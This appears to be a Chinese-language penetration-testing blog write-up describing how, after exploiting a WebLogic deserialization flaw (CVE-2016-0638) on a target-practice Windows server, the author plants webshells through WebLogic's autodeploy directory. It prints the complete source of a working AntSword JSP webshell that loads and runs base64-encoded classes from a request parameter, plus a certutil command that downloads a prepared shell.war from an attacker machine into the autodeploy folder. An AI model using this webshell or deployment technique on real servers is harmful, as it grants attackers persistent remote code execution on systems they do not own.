目录

Weblogic 写入webshell

在打靶过程发现一台Windows Weblogic服务器,存在CVE-2016-0638 反序列化漏洞,可以任意命令执行,在想怎么写入webshell,webshell客户端连接方便利用

这篇文章只探究了autodeploy目录下的webshell写入,可能存在其他目录部署webshell,本文不做介绍

# 环境

WebLogic Server 版本: 12.1.3.0.0

jdk 版本:1.8.0_202

# RCE利用挖掘

通过weblogic综合利用工具直接在命令执行的工作目录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain上传webshell,不会解析

# autodeploy目录

拷打哈基米后发现,这个工作目录下的autodeploy目录可以自动部署war包,在这个目录上传war包可以解析jsp webshell

这个工具好像只能直接写入jsp内容,没有上传文件的功能

# 创建目录

尝试命令执行先在autodeploy目录下创建一个目录,再把jsp webshell写入这个目录下,成功解析

mkdir autodeploy\hello
1

在绝对路径C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\autodeploy\hello\hello.jsp写入简单jsp

成功解析jsp

创建autodeploy\shell写入蚁剑webshell shell.jsp

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

蚁剑连接

直接在autodeploy目录下创建jsp webshell不会解析,需要有一层文件夹

# 上传war文件

在autodeploy目录下有readme.txt,介绍了EARWARRAR这些文件类型

测试war格式1/1.jsp

测试rar格式2/2.jsp,解析失败404

拷打哈基米,weblogic允许的rar格式并不是常用的压缩rar格式,所以失败了

# 远程下载war文件

既然这个工具可用任意命令执行,执行下载远程攻击机制作好的webshell war文件到指定的autodeploy目录下,也可以正常解析

certutil -urlcache -split -f http://192.168.20.10/shell.war C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\autodeploy\shell.war
1

# 总结

总结weblogic可用的写入webshell方式

  • autodeploy/shell/shell.jsp
  • autodeploy/shell.war
  • 远程下载war文件到autodeploy目录下

参考:

最后一次更新于: 2025/10/08, 22:34:57